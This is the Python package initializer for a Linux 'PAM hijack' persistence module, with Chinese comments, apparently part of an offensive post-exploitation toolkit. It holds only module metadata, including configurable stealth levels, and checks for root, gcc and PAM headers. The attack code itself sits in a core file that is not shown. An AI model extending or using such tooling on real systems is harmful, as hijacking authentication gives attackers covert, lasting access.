#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PAM 模块劫持权限维持模块
实现基于 PAM 认证流程劫持的权限维持技术
"""

from .core import PAMHijackPersistenceModule
from ..base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "PAM 模块劫持权限维持模块"

def create_module():
    """创建 PAM 模块劫持权限维持模块实例"""
    return PAMHijackPersistenceModule()

def get_module_info():
    """获取模块信息"""
    return {
        'name': 'pam_hijack',
        'version': __version__,
        'author': __author__,
        'description': __description__,
        'supported_platforms': ['linux'],
        'persistence_types': ['pam_hijack'],
        'stealth_levels': list(range(1, 11)),
        'requires_root': True,
        'requires_compilation': True,
        'dependencies': ['gcc', 'libpam-dev']
    }

def is_available():
    """检查模块是否可用"""
    import os
    import shutil
    
    # 检查是否为 Linux 系统
    if os.name != 'posix':
        return False
    
    # 检查是否有编译环境
    if not shutil.which('gcc'):
        return False
    
    # 检查是否有 root 权限
    if os.geteuid() != 0:
        return False
    
    # 检查 PAM 开发库
    pam_paths = ['/usr/include/security/pam_modules.h', '/usr/include/pam/pam_modules.h']
    if not any(os.path.exists(path) for path in pam_paths):
        return False
    
    return True

__all__ = ['PAMHijackPersistenceModule', 'create_module', 'get_module_info', 'is_available']